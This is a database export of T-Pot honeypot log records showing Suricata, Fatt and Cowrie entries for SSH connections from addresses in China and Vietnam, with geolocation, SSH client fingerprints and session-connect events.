25044	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:09:19.151961+03	2021-09-20 14:15:09.58847+03	{"_id": "8AblAnwBvYTbRNuEYxaA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:09:18.451892+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 887, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1199869643384116, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 3732, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:09:19.151961Z", "@timestamp": "2021-09-20T11:09:19.151Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
25045	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:19.493308+03	2021-09-20 14:15:09.58947+03	{"_id": "7wblAnwBvYTbRNuEYxZ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 885362073158191, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 32984, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.493308Z", "@timestamp": "2021-09-20T11:09:19.493Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25046	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:19.493354+03	2021-09-20 14:15:09.59047+03	{"_id": "8wblAnwBvYTbRNuEZBaD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32984, "timestamp": "2021-09-20T11:09:19.493354", "@timestamp": "2021-09-20T11:09:19.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25047	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:20.629968+03	2021-09-20 14:15:09.59147+03	{"_id": "FQblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46248, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.629968", "@timestamp": "2021-09-20T11:09:20.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25048	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:20.89786+03	2021-09-20 14:15:09.59347+03	{"_id": "FgblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33676, "timestamp": "2021-09-20T11:09:20.897860", "@timestamp": "2021-09-20T11:09:20.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25049	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:20.825067+03	2021-09-20 14:15:09.59447+03	{"_id": "GQblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38030, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.825067", "@timestamp": "2021-09-20T11:09:20.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25050	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:20.897916+03	2021-09-20 14:15:09.595471+03	{"_id": "GgblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33676, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.897916", "@timestamp": "2021-09-20T11:09:20.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25051	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:20.539299+03	2021-09-20 14:15:09.59747+03	{"_id": "GwblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38030 (192.168.176.2:22) [session: 38b70ed35099]", "session": "38b70ed35099", "@version": "1", "protocol": "ssh", "src_port": 38030, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.539299Z", "@timestamp": "2021-09-20T11:09:20.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25052	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:20.607698+03	2021-09-20 14:15:09.59847+03	{"_id": "HAblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56514 (192.168.176.2:22) [session: 606e1b25c6b7]", "session": "606e1b25c6b7", "@version": "1", "protocol": "ssh", "src_port": 56514, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.607698Z", "@timestamp": "2021-09-20T11:09:20.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25053	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:20.617272+03	2021-09-20 14:15:09.59947+03	{"_id": "HQblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33676 (192.168.176.2:22) [session: 5e70f32f8591]", "session": "5e70f32f8591", "@version": "1", "protocol": "ssh", "src_port": 33676, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.617272Z", "@timestamp": "2021-09-20T11:09:20.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25054	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:20.542361+03	2021-09-20 14:15:09.60047+03	{"_id": "IAblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "38b70ed35099", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:20.542361Z", "@timestamp": "2021-09-20T11:09:20.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
